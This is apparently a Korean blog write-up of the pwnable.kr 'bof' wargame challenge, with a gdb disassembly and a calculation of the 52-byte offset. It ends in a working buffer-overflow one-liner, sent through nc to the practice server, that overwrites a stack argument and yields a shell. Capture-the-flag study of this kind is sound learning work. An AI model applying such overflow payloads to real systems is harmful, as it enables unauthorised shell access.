-
[Toddler's Bottle] bofWargame/pwnable.kr Challenge 2019. 1. 22. 09:39
→ 문제는 아래와 같다.
→ 바이너리와 소스파일을 다운로드한 후, 분석 환경(ubuntu)에 업로드하여 확인한다.
→ 코드를 살펴보면, func 함수의 인자 값은 0xdeadbeef 인데 gets 함수를 통해 사용자 입력 값을 받는다. 이를 통해, 0xdeadbeef 값을 0xcafebabe 값으로 변경하여 쉘을 획득하는 버퍼오버플로우 문제임을 알 수 있다.
→ gdb 디버깅을 통해 func 함수를 디스어셈블하여 스택 구조를 파악한다.
(gdb) disas func
Dump of assembler code for function func:
0x0000062c <+0>: push ebp
0x0000062d <+1>: mov ebp,esp
0x0000062f <+3>: sub esp,0x48
0x00000632 <+6>: mov eax,gs:0x14
0x00000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0000063b <+15>: xor eax,eax
0x0000063d <+17>: mov DWORD PTR [esp],0x78c
0x00000644 <+24>: call 0x645 <func+25> // printf 함수
0x00000649 <+29>: lea eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36> // gets 함수
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe // if 분기문
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: mov DWORD PTR [esp],0x79b
0x00000664 <+56>: call 0x665 <func+57> // system 함수
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: mov DWORD PTR [esp],0x7a3
0x00000672 <+70>: call 0x673 <func+71> // printf 함수
0x00000677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>: xor eax,DWORD PTR gs:0x14
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
→ 디버깅을 통해 디스어셈블 코드와 C 소스코드를 비교해보면, +29줄의 ebp-0x2c가 gets 함수를 통해 받은 사용자 입력 값이 들어가는 overflowme 배열의 주소 값임을 알 수 있고, +40줄의 0xcafebabe의 값이랑 비교하는 포인터 주소인 ebp+0x8이 인자 값인 key 변수의 주소 값임을 알 수 있다.
→ 즉, gets 함수의 배열 주소 값인 ebp-0x2c에서 func 함수 인자 값인 ebp+0x8의 영향을 끼쳐야 하므로, 두 주소 값 사이의 거리를 0x2c+0x8= 0x34(52바이트)로 계산할 수 있다.
→ 페이로드는 결정되었으므로, nc를 통해 인자 값을 넘길 뿐만 아니라 사용자 입력 값이 아규먼트 레벨이 아닌 커맨더 기반으로 데이터를 넘겨야 하므로 cat 문과 | (버티컬 바)를 이용해서 페이로드를 구성해야 한다.
→ (python -c 'print "\x90"*52+"\xbe\xba\xfe\xca"'; cat)|nc pwnable.kr 9000
'Wargame > pwnable.kr Challenge' 카테고리의 다른 글
[Toddler's Bottle] random (0) 2019.02.19 [Toddler's Bottle] flag (0) 2019.02.14 [Toddlers's Bottle] collision (0) 2019.01.17 [Toddlers's Bottle] fd (0) 2019.01.10 댓글